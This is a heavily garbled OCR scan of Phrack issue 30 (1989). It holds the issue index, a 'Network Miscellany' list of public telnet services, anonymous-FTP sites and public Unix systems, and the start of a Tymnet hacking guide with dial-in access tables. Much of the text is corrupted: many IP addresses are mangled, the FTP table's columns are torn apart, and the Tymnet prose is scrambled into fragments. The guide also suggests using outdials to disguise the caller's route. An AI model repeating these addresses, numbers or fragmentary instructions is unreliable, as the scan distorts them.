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==Phrack Inc.== 
Volume Three, Issue 30, File #1 of 12 


Phrack Inc. Newsletter Issue XXX Index 


December 24, 1989 


Welcome to Issue 30 of Phrack Inc. We are releasing this just a few short 
days before the start of a new decade and proud to say that we will continue to 
bring you more information well into the 1990s. 


SummerCon 1990! That’s right. Preliminary plans are being made right 
now, so, Starting with this issue, keep your eye on Phrack World News for 
details! The dates have been decided so mark your calendars! 


This issue of Phrack Inc. features a large article by Goe that contains 
some information about VM/CMS which can, if used properly, be of great use. 
Also in this issue, Jack T. Tab brings us a VAX/VMS version of the Fakemail 
program that was featured for Unix in Phrack Inc. Volume Three, Issue 27, File 
#8. Also, Network Miscellany III, compiled by Taran King, contains a 
relatively large list of FTP sites that allow anonymous FTP for those of you 
who have been poking and stabbing around the Internet. These along with all of 
the rest of the articles should prove to be interesting reading for you! 


Do you have access to the Wide Area Networks? Are you on Fidonet? How 
about UUCP or CompuServe? If so, you can drop a line to us through the 
networks at the addresses listed below. We’d love to hear from you! 


Taran King & Knight Lightning 


phrack@netsys.COM 
.!netsys!phrack (phrack@netsys.UUCP) 
phrack%Snetsys.COM@LLL-WINKEN.LLNL.GOV 
phrack%Snetsys.COM@AMES.ARC.NASA.GOV 
phrack%Snetsys.COM@RUTGERS.EDU 


Table of Contents: 


Phrack Inc. XXX Index by Taran King and Knight Lightning 
Network Miscellany III by Taran King 

Hacking & Tymnet by Synthecide 

Hacking VM/CMS by Goe 

The DECWRL Mail Gateway by Dedicated Link 

Decnet Hackola : Remote Turist TTY (RTT) by *Hobbit* 
VAX/VMS Fake Mail by Jack T. Tab 

Consensual Realities in Cyberspace by Paul Saffo 

9. The Truth About Lie Detectors by Razor’s Edge 

10. Western Union Telex, TWX, and Time Service by Phone Phanatic 
11-12 Phrack World News XXX/Parts 1-2 by Knight Lightning 
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Network Miscellany III 


By Taran King 


With Extra Special Thanks To 
Dark OverLord 


December 24, 1989 


CARL 


The Colorado Alliance of Research Libraries, or CARL, is an on-line servic 
providing information from its member libraries as well as select information 
databases. The member libraries include Auraria, CU Health Sciences Center, CU 
Law Library, Denver Public Library, Denver University, Denver University Law 
School, Colorado School of Mines, University of Northern Colorado, University 
of Wyoming, Government Publications, plus about five community colleges, Regis 
College, Colorado State Publications, State Department of Education, Pikes Peak 
Library, MARMOT Library System, and Boulder Public Library. The information 
databases include the following: UnConver -- Article Access, "Facts," 
Encyclopedia, Metro Denver Facts, Info Colorado, Boston Library Consortium, 
Library News, and New Journal Issues. 


CARL is available via Telnet at PAC.CARL.ORG (192.54.81.128) and is pretty 
clear to understand. he Encyclopedia information database, unfortunately, 
requires a valid username on the system. 


COMPUSERVE ACCESS VIA INTERNET 


You can access CompuServe via Telnet through the gateway/concentrator at 
CTS.MERIT.EDU (35.1.1.6) by typing "CompuServe" at the "Which Host?" prompt. 


CTS.MERIT.EDU (35.1.1.6) is a Cisco terminal server installed primarily for 

users of the Merit computer network in Michigan. This machine has a bunch of 
serial lines going in each direction to/from a Merit Secondary Communications 
Processor (SCP), which is the entity that gives you the "Which Host?" prompt. 


Some other of the Merit services (like outbound Telnet from "Which Host?") have 
been intentionally limited so that they only work within Merit. Part of this 
is apparently for reasons of accountability and security (no random hackers 
dialing in and hacking machines in New Zealand) and part is for access control 
(ports are scarce and services have costs so they try to limit who uses the 
thing to paying customers). 


CompuServe bills connections via this link as if it were via Telenet (which is 
EXPENSIVE!). It’s an X.25 connection somewhere at a decently fast speed. 


If you have particular questions about all of the various services that can be 
accessed through Merit, either through the terminal server at CTS.MERIT.EDU 
(35.1.1.6), Telneting directly into a Merit SCP or PCP, or via dial-up access, 
contact merit_computer_network@UM.CC.UMICH.EDU or INFO@MERIT on Bitnet. 


For more details about what can be accessed via CTS.MERIT.EDU, stay tuned to 
Network Miscellany for part IV in an upcoming issue of Phrack! 


DATE AND TIME 


Here’s an interesting little trick. Just in case you are on some system 
without the ability to report what time it is by a command, connect via Telnet 
to port 13 of an Internet Unix system. This gives you the time and date and 
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then disconnects. Som xample systems of this include RUTGERS.EDU, 
MICA.BERKELEY.EDU, UCBVAX.BERKELEY.EDU, 


x 


Telnet RUTGERS.EDU 13). 


FTP 


and PIKES.COLORADO.EDU (example: 


File Transfer Protocol or FTP is a way to transfer data or text files over the 
Internet from remote sites. The only problem is figuring out where something 


is that you want to get. 


The following is a list of sites accepting anonymous FTP user=anonymous, 

password=login. It was compiled by Jon Granrose with the help of a number of 
contributors as well as a couple of lists that had been started. If you have 
any comments, additions, or corrections, mail them to odin@UCSCB.UCSC.EDU or 


odin@ucscb.UUCP or 74036.3241@COMPUSERVE.COM. 

System name IP Address Comments 

a.cs.uiuc.edu 128.174.5.20 TeX, dvi2ps, gif, texx2.7, amiga 
accuvax.nwu.edu 129.105.49.1 PibTerm 4.1.3 
ahwahnee.stanford.edu 36.56.0.208 pcip interface specs 
ai.toronto.edu 128.100.1.65 SunOS4.0 SLIP beta, 

R3 xwebster fixes 
albanycs.albany.edu 128.204.1.4 Best of comp.graphics 
allspice.lcs.mit.edu 13:226...0!00'5 RFC1056 (PCMAIL) stuff, MIT snmp 
ames.arc.nasa.gov 12:8. LO 2:18:53 perrn, gnu grep 
arisia.xerox.com 13.1.100.206 lisp, tcp/ip, IDA sendmail kit 
arizona.edu 128.196.6.1 Icon, SR, SBProlog languages 
arthur.cs.purdue.edu T2382. 102 od RCS, Purdue tech reports 
athena-dist.mit.edu 18.71.0.38 Hesiod name server, Kerberos, moira 
bitsy.mit.edu 1822/2503 MIT worm paper 
brownvm.brown.edu 128.148.128.40 MAC 
bu-cs.bu.edu L232 19 F2 oT Telecom 
bu-it.bu.edu 128.197.2.40 Lots of interesting things. 
bugs.nosc.mil 128.49.0.1 Minix 
c.isi.edu 26.3.0.103 info-ibmpce (Tenex) 
cadre.dsl.pittsburgh.edu 128.147.128.1 jove for the Mac 
camelot .berkeley.edu 128.32.149.18 "pmake", yet another parallel make 
cayuga.cs.rochester.edu 1.9255 9934209 Xfig, LaTeX style, Jove, 

NL-KR mail list 
celray.cs.yale.edu 128:..36:0.25 ispell, dictionary 
charon.mit.edu 18.80.0.13 perl+patches, xdvi 
cheddar.cs.wisc.edu 128.6 105%2+113 Common Lisp stuff, X11 courier fonts 
cheops.cis.ohio-state.edu 128.146.8.62 comp.sources.*, alt.sources 
citi.umich.edu 393-12 P285.156 pathalias, (not CITI MacIP), webster 
clutx.clarkson.edu 128.153.4.3 Turbo C stuff, net kit 
cmx.npac.syr.edu 128.230.7.8 Lots of stuff 
cod.nosc.mil 128.49.16.5 birdlist, PCstuff 
columbia.edu 10.3.0.89 NEST network simulation testbed 
crocus.waterloo.edu L299 AZ8 46 STEVIE (vi-clone) in /u/grwalter/ftp 
cs.cmu.edu W288 22225 173 screen, msdos interrupt list, zoo 

(in /afs/cs.cmu.edu/user/ralf/pub) 
cs.orst.edu 12:8:2,1:93.2320.1 Xlisp 
cs.rochester.edu 192.5.53.209 See cayuga.cs.rochester.edu 
cs.utah.edu 128.110.4.21 A Tour of the Worm, amiga forth 
csc.ti.com 128.247.159.141 Preliminary clx document 
cunixc.cc.columbia.edu 128.59.40.130 MM mailer, Kermit, CAP/KIP 
cygnusxl.cs.utk.edu 128.169.201.12 GCC, MM, Scheme 
dartvax.dartmouth.edu 129.170.16.4 2? 
decwrl.dec.com 128.45.1.1 No FTP; gatekeeper.dec.com 
devvax.tn.cornell.edu 192.35.82.200 tn3270, gated 
drizzle.cs.uoregon.edu 128.223.4.1 raytracing archive (markv) 
dsrgsun.ces.cwru.edu 129.22.16.2 Minix, TOS atariST gcc from bammi 
ecla.usc.edu 26621620565 mg emacs 
elbereth.rutgers.edu 128.6.4.61 /pub 
emx.utexas.edu 128.83.1.33 /net.directory 
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expo.lcs.mit.edu 
f.ms.uky.edu 
flash.bellcore.com 


ftp.ncsa.uiuc.edu 
gatekeeper.dec.com 


ghostwheel.andrew.cmu.edu 
giza.cis.ohio-state.edu 
gpu.utcs.toronto.edu 
grape.ecs.clarkson.edu 
gregorio.stanford.edu 
gtss.gatech.edu 
hamlet.caltech.edu 
hanauma.stanford.edu 
himl.cc.umich.edu 
hipl.psych.nyu.edu 
hogg.cc.uoregon.edu 
hotel.cis.ksu.edu 
hubcap.clemson.edu 
husc6.harvard.edu 


icec.andrew.cmu.edu 
ics.uci.edu 
indri.primate.wisc.edu 
ixl.cc.utexas.edu 
ix2.cc.utexas.edu 
ijuvax.cs.indiana.edu 
j.cc.purdue.edu 
jpl-devvax.jpl.nasa.gov 
jJune.cs.washington.edu 
kampi.hut.fi 
kolvi.hut.fi 
kuhub.cc.ukans.edu 
labrea.stanford.edu 
lambda.lanl.gov 
lancaster.andrew.cmu.edu 


larry.cs.washington.edu 
lbl-csam.arpa 
linc.cis.upenn.edu 
linl-winken.llnl.gov 
louie.udel.edu 


m9-520-1.mit.edu 
maxwell.physics.purdue.edu 
mailrus.cc.umich.edu 
megaron.arizona.edu 
mimsy.umd.edu 
monk.proteon.com 
mordred.cs.purdue.edu 
ncsuvx.ncsu.edu 
netl.ucsd.edu 
nic.mr.net 
nic.ddn.mil 
nis.nsf.net 
nisc.nyser.net 
nl.cs.cmu.edu 
oddjob.uchicago.edu 


omnigate.clarkson.edu 
parcvax.xerox.com 
panarea.usc.edu 
pawl.rpi.edu 
plains.nodak.edu 
pol.andrew.cmu.edu 
po2.andrew.cmu.edu 
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18.30.0.212 
128.163.128.6 
128.96.32.20 


128.174.20.50 
128.45.9.52 


128 623 Dol: 

128.146.8.61 
128.100.100.1 
128. 
36.8.0.11 


128.223.4.1 
128.195.0.1 
128. 
VAS. 
128. 
129. 
128.210.0.3 
128.149.8.43 
128.95.1.4 
128.214.3.9 
128.214.3.7 
129.237.1.10 
36.8.0.47 
128.165.4.4 
V28..2:.13.21 


83.121 
83:21:29 


128. 
128. 
128. 
128. 
128. 


95 ods 
3.254.6 
Qa Ae'8 
115.14.1 
LL Deck4-3 


18.80.0.45 

128.46.135.3 
SO lo 1426 

192.12.69.1 
128.8.128.8 
128. 
128. 
128. 


VO a 2is2 
109 153.41 
128.54.0.10 
192.12.250.5 
10.0.0.51 
35.1.1.48 
192.33.4.10 
128.2.222.56 
W283: 135 44.2 


128.153.4.2 
13.1.100.206 
128.125.3.54 
V2.8 11-316 1062 
192.33.18.50 
W228 623k 
128.2.249.105 


153.13.196 


104.230.11 


TQ 254.192 


1:05.423:..16 


3 

a home of X, portable bitmaps 
Lots of interesting things 
Karn’s RFC & IEN coll, 
Latest NET bits 
NCSA Telnet source, Mathematica 
X11, recipes, cron, map, 
Larry Wall stuff 

Hershey fonts 
X11R3, PEX 
Lots of stuff, pd ksh 
Opus BBS, ms-dos, graphics 
vmtp-ip, ip-multicast 
amiga rexx stuff 
Nansi (VMS) 
Vplot graphical system 
atari st (cd PC7:) 


Jove in pub (v4.9 is latest) 
NorthWestNet site info 

XBBS, msdos, U3G toolkit 

GIF files, RFCs 

pcip, appleII archives, uumap copy 
and soon the parts of the ucb tahoe 
tape that are marked not-até&t 

CMU Tutor, ICEC 

perfect hash function gen., 
Macintosh Trans{Skel, Display, 
amiga 

amiga 

unix arc et al 
Gus. (unix; x, 
perl author 
TeXhax, dviapollo, SmallTalk, 
DES routines (unrestricted) 
am radio (FINLAND) 


web-to-c 
Edit} 


amiga}, elm, uupc 


web2c 


oolpack/1 for math sw in f77 
MU PCIP, RFC1073 telnetd, 
RFC1048 bootp 

Poker 

See rtsg.ee.lbl.gov 
psfig for ditroff, 
comp.sources.misc 
net.exe, minix, NORD<>LINK, MH, 
amiga 

Xim (X image viewer) 
/pub/bible.tar.Z 
This list, unix arc, 
See arizona.edu 
declarative languages bib, 
cc:mail to smtp gateway 


H 

V 

dvips, paranoia 

T 

C 

Tex 


apollo stuff 


SLIP 


X11R3 
Hack, Moria, Empire, Ogre 
macintosh (tenex) 


Minnesota Regional Net traffic data 
RFC, other network info in NETINFO: 
Merit info, NSFnet Link Letter 
Nysernet, IETF, GOSIP 

Fuzzy Pixmap 0.84 in /usr/mlm/ftp 
NNTP, Sendmail, utils, 

Ethernet stuff 

PS maps of the Domain Name system. 
See arisia.xerox.com 

Archive for "maps" 

DVI stuff, Atari ST, vi for dos 
ASCII pics, /pub/picture 

?? 

2? 
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postgres.berkeley.edu 
prep.ai.mit.edu 
radio.astro.utoronto.ca 
rascal.ics.utexas.edu 


relgyro.stanford.edu 
riacs.edu 
ringo.rutgers.edu 
rtsg.ee.lbl.gov 
sally.cs.utexas.edu 
sbcs.sunysb.edu 
scam.berkeley.edu 
science.utah.edu 
score.stanford.edu 
sh.cs.net 
shambhala.berkeley.edu 
sics.se 

simtel20.arpa 
spam.istc.sri.com 
sphere.mast.ohio-state.edu 
squid.cs.ucla.edu 
sri-nic.arpa 
ssyx.ucsc.edu 
sumex.stanford.edu 
sumex-2060.stanford.edu 
sun.cnuce.cnr.it 
sun.soe.clarkson.edu 
surya.waterloo.edu 
stolaf.edu 
svax.cs.cornell.edu 
swan.ulowell.edu 
thyme.lcs.mit.edu 
titan.rice.edu 
tmc.edu 
topaz.rutgers.edu 
trantor.harris-—atd.com 
trantor.umd.edu 


trwind.ind.trw.com 
tumtum.cs.umd.edu 
tut.cis.ohio-state.edu 
charpa.berkeley.edu 
chvax.berkeley.edu 
cdavis.ucdavis.edu 
csd.edu 
mn-cs.cs.umn.edu 
nmvax.unm.edu 
nocss.unl.edu 
tadnx.cc.utexas.edu 
unet.uu.net 
x.acss.umn.edu 
xa.cso.uiuc.edu 
XGucso: 


c 


uiuc.edu 
xe.cso.uiuc.edu 
vax.ftp.com 
venera.isi.edu 
venus.ycc.yale.edu 
vgr.brl.mil 
venera.isi.edu 
watmath.waterloo.edu 
wsmr-simtel20.army.mil 


xanth.cs.odu.edu 


zaphod.ncsa.uiuc.edu 
zZ.andrew.cmu.edu 
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128.32.149.1 
V2.85.2'.. 32.04 
128.100.75.4 
128.83.144.1 


36.64.0.50 
128.102.16.8 
IZ S OS ote rT 
128.3.254.68 
128.48.2.3 
128.32.138.1 
118.110.192.2 
36.8.0.46 
192.31¢103 53 


192.16.123.90 
26.0.0.74 
128.18.4.3 
128.146.7.200 
128.97.16.28 
10.0.0.51 

V8 w1L4 433.61 
36.44.0.6 
36.45.0.87 
V92..12192 
V2:8:..153.012'. 
V2.9: 96 L298 
130.71.128. 
128.84.254. 
129.63.224. 
18.26.0.94 
128.42.1.30 
128.249.1.1 
128.6.4.194 
26.13.0.98 
128.8.1.14 


PNHRAW Ss 
i) 


129.4.16.70 
128.8.129.49 
128.146.8.60 
128.32.130.11 
128.32.149.36 
128.120.2.1 
128.54.16.1u 
128.101.224.1 
129.24.12.128 
129.93.1.11 
128.83.1.26 
192312: 
128.101. 
128.174. 
128.174. 
128.174. 
128.127 
V2 869.0%. 32 
V3O..132 61.49 
128.63.4.4 
128.9.0.32 
129.97.128.1 
26.0.0.74 


63.2 
2.1 

5.50 
5.54 


128.82.8.1 


128.174.20.50 
128.2.30.8 


141.129 


-25.100 
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University INGRES, 
GNU, MIT C Scheme, 
UFGATE, msdos, lots 
KCL, MAXIMA, GCC-386, 
BoyerMoore prover 
sunrast—-to-pc 

SLIP 

Omega sources 

flex 

Networking stuff 

sun raster tools 


gnu e?grep 


X sources, etc. 

TeX things (tenex) 

TexHax, Atari (tenex) 

Misc 

xrn 

Ham radio (SWEDEN) 

S wsmr-simtel20.army.mil 
Gnu, more 

phone (with bugs fixed) 


soc.med.aids 

See nic.ddn.mil 

atari, amiga, gifs 

mac archives, Mycin (SUN4), imap 
Old home of mac archives (tenex) 
atalk, ka9q 

Packet Driver, X11 fonts, 
gifs, tiff format, gif2ras 
news, anime, bitmaps 
TransFig, Fig-FS, NetHack 
sendmail, amiga, music, c.s. 
SUPDUP 

sun-spots, amiga ispell 
FUBBS bbs list 

amiga 

contool, chuck@%s’s tools 
Network Time Protocol (NTP), 
info-amiga 

Turbo C sre for net.exe 
NeWS pd software 


Tex 


unix 


GNU, lots of interesting things 
tn3270, pub/4.3 

nntp, gnews, awm, empire 

2? 

KAIQ archives, packet driver 
vectrex, mac, unix-pc 

getmaps, 

alt.sex, motss 

VMS sources (zetaps, laser, sxlps) 


usenet archives, much more 
usenix 87 archives 
mac, pcsig 

Games, misc 
amiga/Fish disks, 
FTP software, inc. 
statspy (NNstat) 
SBTex 

bsd ping + record route 
GNU Chess 
Lots of stuff 
MS-DOS, Unix, 
(tenex) 
c.srces.{x, unix, 
amiga}, X10R4 
NCSA Telnet source, 
bugfixar + div 


PC-SIG 1-499 


CP/M, Mac, lots! 


misc, games, 


binaries 
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MELVYL ONLINE CATALOG 

This service is provided by the University of California schools. It is 
available via Telnet by connecting to MELVYL.UCOP.EDU (31.1.0.1). It basically 
provides information searching capabilities and provides literary sources where 
the "keyword" that you used may be found. It is relatively self-explanatory. 


By connecting to port 101 on certain Internet systems, you have connected to 
the nameserver of that domain. To get a list of all of the subdomains of the 
main domain, type ALL. A sample system is VIOLET.BERKELEY.EDU but be 
forewarned that the output from typing ALL is *EXTREMELY* long on this 
particular system! (Example: Telnet VIOLET.BERKELEY.EDU 101). 


PUBLIC ACCESS UNIX INFORMATION 


For those of you that are still interested in more information on the Public 
Access Unix systems that were listed in Network Miscellany II featured in 
Phrack 29, here are a few more details. For specific information concerning 
the nodes discussed, refer to the previous article. 


For those of you who are not local to a Public Access Unix system, Portal can 
be reached via PC-Pursuit for $25 a month and a $10 access fee for "portal" 
(off-peak). For information, contact John Little (jel@CUP.PORTAL.COM) . 


The Big Electric Cat (dasysl.UUCP) claims to be cheaper than most well- 
connected public sites. They have special billing for "organizational" 
accounts if you’re interested and their standard rate is $5 a month for an 
account (no time restrictions). The Big Electric Cat offers a superset of the 
USENET newsgroups as well as unrestricted mail (!), a simplified set of prompts 
for most system functions, games, and several other features 


The World (WORLD.STD.COM) in Brookline, MA (Boston) is a Sun4/280 running 
Sun/OS 4.0.3 (Unix.) They offer electronic mail (to most anyplace), USENET, 
ClariNet and general Unix access. They dial UUNET and other sites frequently. 


To create an account you just dial (617)739-WRLD (9753) and login as user "new" 
(the login prompt gives instructions). They ask for some info (name, address, 
etc.) and a MasterCard or Visa account. 


Rates for The World 


All times are East Coast, USA. 


INITIAL SIGN-UP 
$25.00 fee, applied to first month’s charges. 


BASIC ACCESS RATES 
8AM-6PM $8.00/hour (Monday thru Friday) 
6PM-12M $5.00/hour 
12M-8AM $2.50/hour 


Weekends and holidays, 8AM-12M, $5/hour. 


Disk Quota 
A "byte" is equivalent to one character of storage. 
A disk block is 1024 bytes. 

First 512 disk blocks No Charge 

Additional Quota $0.01/block/month 

(approx. $10/MB/month) 

Note that disk charges are based on your requested disk quota (system imposed 
limit on your usage) and not your actual usage. Disk quota charges are 
pro-rated. 
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Electronic Mail 


No charge for electronic mail between users of The World. No charge for 
first 512 blocks of mail per month. $0.01 per block of mail thereafter in 
any given month (approx. $10/MB/month). 


CPU Usage 

In general, they do not charge for these resources for typical accounts 
interested in electronic communications. Customers who wish to use their 
system for compute or memory intensive applications should contact their 
office for rates. 


Local usage, no charge. Network usage, no charge at this time. 


Printing And Fax 


To be announced. 


Upload or Download Software 


No additional charge. 


UNIVERSITY OF CALIFORNIA AT BERKELEY NETWORK INFORMATION 


This is a service which I, personally, have found to b xtremely useful. If 
you need network information on virtually any system, connect to the University 
of California at Berkeley Network Information at JADE.BERKELEY.EDU Port 117 
(example: Telnet JADE.BERKELEY.EDU 117). Once you are logged into the system 
automatically, it prompts you for a command or type "?" for a list of commands. 


The help menu is relatively easy to understand. You can get Bitnet network 
table listings or Internet numerical addresses or Internet mail exchanger 
listings or UUCP node information or UUCP node paths plus more. It’s very 


useful in case you’re having difficulty sending mail to a particular node from 
your own node or if you’re trying to connect to a system via FTP or Telnet that 
your system doesn’t recognize (i.e. get the numerical address from the server 
and FTP or Telnet to the numerical address). 
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by 


Synthecide 


all 


like 
and usu 


Tymnet and Telenet. 


ally well explained i 


so 
In 
f 


m 
the case of Tymnet, after dialing 
or the on-line documentation. 


in, 


y hundreds of systems connected to some of these larger 
Navigation around these networks is very 
n their on-line documentation. 
systems will actually tell you what is connected and how to 
at the log in prompt, 


type 


Accessing systems through networks is as simple as providing an address for it 
to connect to. 


The best way to lear 


n about the addresses a 


nd how to do things 


which was 


for 


By 


Some points are 


of the system you 


has 5 digits, 


will be 
Obviously, 


on a network is to read "A Novice’s Guide to Hacking (1989 Edition)" 
in Issue 22, File 4 of 12, Volume Two (December 23, 1988). 
re-iterated her 

Once on a network, you provide the NUA (network user address) 

wish to connect to. NUAS are strings of 15 digits, broken up in to 3 fields, 
the NETWORK ADDRESS, the AREA PREFIX, and the DNIC. Each field 

and are left padded with 0’s where necessary. 

The DNIC determines which network to take the address from. Tymnet, 
example, is 03106. 03110 is Telenet. 

The AREA PREFIX and NETWORK ADDRESS determine the connection point. 
providing the address of the system that you wish to connect to, you 
accessing it through the net... as if you were calling it directly. 
then, this provides one more level of security for access. 


=] 


Addendum 


By connecting to an outdial, 
njoy, 


by using 


the outdial 


Acc 


ssing Tymnet Over Local Packet N 


etworks 


remot 


tem. 


sys 


This is just another way to get that extra step and/or bypass other routes. 


you can increase again the level of security you 
in that area to connect to th 


[This table is copied from Tymnet’s on-line information. As said earlier, it’s 
a great resource, this on-line information! 
BELL ATLANTIC 

NODE CITY STATE SPEED ACCESS NUMBER NTWK 
03526 DOVER DELAWARE 3000/2400 302/734-9465 @PDN 
03526 GEORGETOWN DELAWARE 300/2400 302/856-7055 @PDN 
03526 NEWARK DELAWARE 300/2400 302/366-0800 @PDN 
03526 WILMINGTON DELAWARE 3000/1200 302/428-0030 @PDN 
03526 WILMINGTON DELAWARE 2400 302/655-1144 @PDN 
06254 WASHINGTON DIST. OF COL. 3000/1200 202/479-7214 @PDN 
06254 WASHINGTON (MIDTOWN) DIST. OF COL. 2400 202/785-1688 @PDN 
06254 WASHINGTON (DOWNTOWN) DIST. OF COL. 300/1200 202/393-6003 @PDN 
06254 WASHINGTON (MIDTOWN) DIST. OF COL. 300/1200 202/293-4641 @PDN 
06254 WASHINGTON DIST. OF COL. 300/1200 202/546-5549 @PDN 
06254 WASHINGTON DIST. OF COL. 300/1200 202/328-0619 @PDN 
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BETHESDA 
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ie) 


ASSAIC 
ERSON 


> 
4 


e) 
Kk 
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LAKE 
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300/1200 
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300/2400 
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n 
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n 
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ZPRBASCASSSSSASAPASrMPASMPSSSeSSeSeAZSAArseAwzsezzseez 
SBPSSLPSLPSLSPLSPLSSLLPSLSLLSLLSLPLPLLLPLPLsLsz=s 


KKK KKK KKK KKK KKK KKK KKK KKK KKK KKK 


Soe ee A ee hae an es te te GR ee ea eee ee 


Aa a La a Li aL a La a aL 


iVANIA 
iVANIA 
iVANIA 
iVANIA 
iVANIA 
iVANIA 
iVANIA 
iVANIA 
iVANIA 
iVANIA 
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300/2400 
300/2400 
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2400 
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300/1 
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200 
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NONPP RBA ANNMNABAAIAIAPNNNANN AABN COON 


301/986-9942 
301/989-9324 
301/779-9935 
301/490-9971 
301/340-9903 
301/495-9911 


01/766-7138 
001/730-8693 
01/361-9211 
001/758-8000 
01/289-5100 
01/871-3000 
001/780-8890 
001/343-9200 
001/659-3800 
001/533-0561 
001/758-8000 
001/593-0004 
001/906-9500 
001/957-9000 
01/455-0437 
001/623-0083 
001/247-2700 
001/697-9380 
001/473-6200 
001/345-7700 
001/454-9270 
001/835-8400 
001/758-8000 
01/445-4800 
01/218-1200 
001/390-9100 
01/974-0850 
001/286-3800 
001/689-6894 
01/345-7700 


15/435-0266 
14/946-8639 
14/949-0505 
15/283-2170 
12/266-9610 
12/276-1882 
12/483-9100 
15/358-0820 
15/383-7212 
12/628-7560 
15/383-7212 
15/340-0052 
115-843-4075 
12/487-6868 
12/836-7840 
17/236-3274 
17/238-0450 
12/465-7210 
15/270-2970 
15/789-5650 
15/626-9001 
12/537-0340 
17/236-3274 
12/673-6200 
12/658-5982 
12/337-0510 
15/270-2970 
15/648-0010 


(7-0 ¢-0 I ¢-C-0 I ¢-DC-) 
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FD I DD UD ID UD ES DS I, PT ES SD ES DS 
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03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/923-7792 @P 
03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/557-0659 @P 
03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/545-7886 @P 
03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/677-0321 @P 
03562 PHILADELPHIA PENNSYLVANIA 2400 215/625-0770 @P 
10672 PITTSBURGH PENNSYLVANIA 300/1200 412/281-8950 @P 
10672 PITTSBURGH PENNSYLVANIA 300/1200 412-687-4131 @P 
10672 PITTSBURGH PENNSYLVANIA 2400 412/261-9732 @P 
10672 POTTSTOWN PENNSYLVANIA 300/1200 215/327-8032 @P 
03526 QUAKERTOWN PENNSYLVANIA 300/1200 215/538-7032 @P 
03526 READING PENNSYLVANIA 300/1200 215/375-7570 @P 
10672 ROCHESTE PENNSYLVANIA 300/1200 412/728-9770 @P 
03526 SCRANTON PENNSYLVANIA 300/1200 717/348-1123 @P 
03526 SCRANTON PENNSYLVANIA 2400 717/341-1860 @P 
10672 SHARON PENNSYLVANIA 300/1200 412/342-1681 @P 
03526 TULLY TOWN PENNSYLVANIA 300/1200 215/547-3300 @P 
10672 UNIONTOWN PENNSYLVANIA 300/1200 412/437-5640 @P 
03562 VALLEY FORGE PENNSYLVANIA 300/1200 215/270-2970 @P 
10672 WASHINGTON PENNSYLVANIA 300/1200 412/223-9090 @P 
03526 WAYNE PENNSYLVANIA 300/1200 215/341-9605 @P 
10672 WILKINSBURG PENNSYLVANIA 300/1200 412/241-1006 @P 
06254 ALEXANDRIA VIRGINIA 300/1200 703/683-6710 @P 
06254 ARLINGTON VIRGINIA 300/1200 703/524-8961 @P 
06254 FAIRFAX VIRGINIA 300/1200 703/385-1343 @P 
06254 MCLEAN VIRGINIA 300/1200 703/848-2941 @P 
@PDN BELL ATLANTIC -— NETWORK NAME IS PUBLIC DATA NETWORK (PDN) 
(CONNECT MESSAGE) 
SoG: 2 RY > (SYNCHRONIZES DATA SPEEDS) 
WELCOME TO THE BPA/DST PDN 
cree <9 2Cy aR, => (TYMNET ADDRESS) 
131069 (ADDRESS CONFIRMATION - TYMNET DNIC) 
COM (CONFIRMATION OF CALL SET-UP) 
-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 
BELL SOUTH 
NODE CITY STATE DENSITY ACCESS NUMBER MODEM 
10207 ATLANTA GEORGIA 300/1200 404/261-4633 @PLSK 
10207 ATHENS GEORGIA 300/1200 404/354-0614 @PLSK 
10207 COLUMBUS GEORGIA 300/1200 404/324-5771 @PLSK 
10207 ROME GEORGIA 300/1200 404/234/7542 @PLSK 
@PLSK BELLSOUTH —- NETWORK NAME IS PULSELINK 
(CONNECT MESSAGE) 
< 2@- JR. > (SYNCHRONIZES DATA SPEEDS) 
(DOES NOT ECHO TO THE TERMINAL) 
CONNECTED 
PULSELINK 
T3238) 2 206 (TYMNET ADDRESS) 
(DOES NOT ECHO TO THE TERMINAL) 
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PULSELINK: CALL CONNECTED TO 1 3106 
—-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 
PACIFIC BELL 
NODE CITY STATE DENSITY ACCESS NUMBER NTWK 
03306 BERKELEY CALIFORNIA 3000/1200 415-548-2121 @PPS 
06272 EL SEGUNDO CALIFORNIA 3000/1200 213-640-8548 @PPS 
06272 FULLERTON CALIFORNIA 300/1200 714-441-2777 @PPS 
06272 INGLEWOOD CALIFORNIA 300/1200 213-216-7667 @PPS 
06272 LOS ANGELES (DOWNTOWN) CALIFORNIA 300/1200 213-687-3727 @PPS 
06272 LOS ANGELES CALIFORNIA 3000/1200 213-480-1677 @PPS 
03306 MOUNTAIN VIEW CALIFORNIA 3000/1200 415-960-3363 @PPS 
03306 OAKLAND CALIFORNIA 3000/1200 415-893-9889 @PPS 
03306 PALO ALTO CALIFORNIA 300/1200 415-325-4666 @PPS 
06272 PASADENA CALIFORNIA 3000/1200 818-356-0780 @PPS 
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-543-8275 @PPS 
03306 SAN FRANCISCO CALIFORNIA 3000/1200 415-626-5380 @PPS 
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-362-2280 @PPS 
03306 SAN JOSE CALIFORNIA 3000/1200 408-920-0888 @PPS 
06272 SANTA ANNA CALIFORNIA 300/1200 714-972-9844 @PPS 
06272 VAN NUYS CALIFORNIA 300/1200 818-780-1066 @PPS 
@PPS PACIFIC BELL —- NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS) 
(CONNECT MESSAGE) 
<i LR (SYNCHRONIZES DATA SPEEDS) > 
(DOES NOT ECHO TO THE TERMINAL) 
ONLINE 1200 
WELCOME TO PPS: 415-XXX-XXXX 
1. 8. 21), 206 229 (TYMNET ADDRESS) 
(DOES NOT ECHO UNTIL TYMNET RESPONDS) 
-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 
SOUTHWESTERN BELL 
NODE CITY STATE DENSITY ACCESS NUMBERS NWRK 
05443 KANSAS CITY KANSAS 300/1200 316/225-9951 @MRLK 
05443 HAYS KANSAS 300/1200 913/625-8100 @MRLK 
05443 HUTCHINSON KANSAS 3000/1200 316/669-1052 @MRLK 
05443 LAWRENCE KANSAS 3000/1200 913/841-5580 @MRLK 
05443 MANHATTAN KANSAS 300/1200 913/539-9291 @MRLK 
05443 PARSONS KANSAS 300/1200 316/421-0620 @MRLK 
05443 SALINA KANSAS 300/1200 913/825-4547 @MRLK 
05443 TOPEKA KANSAS 300/1200 913/235-1909 @MRLK 
05443 WICHITA KANSAS 300/1200 316/269-1996 @MRLK 
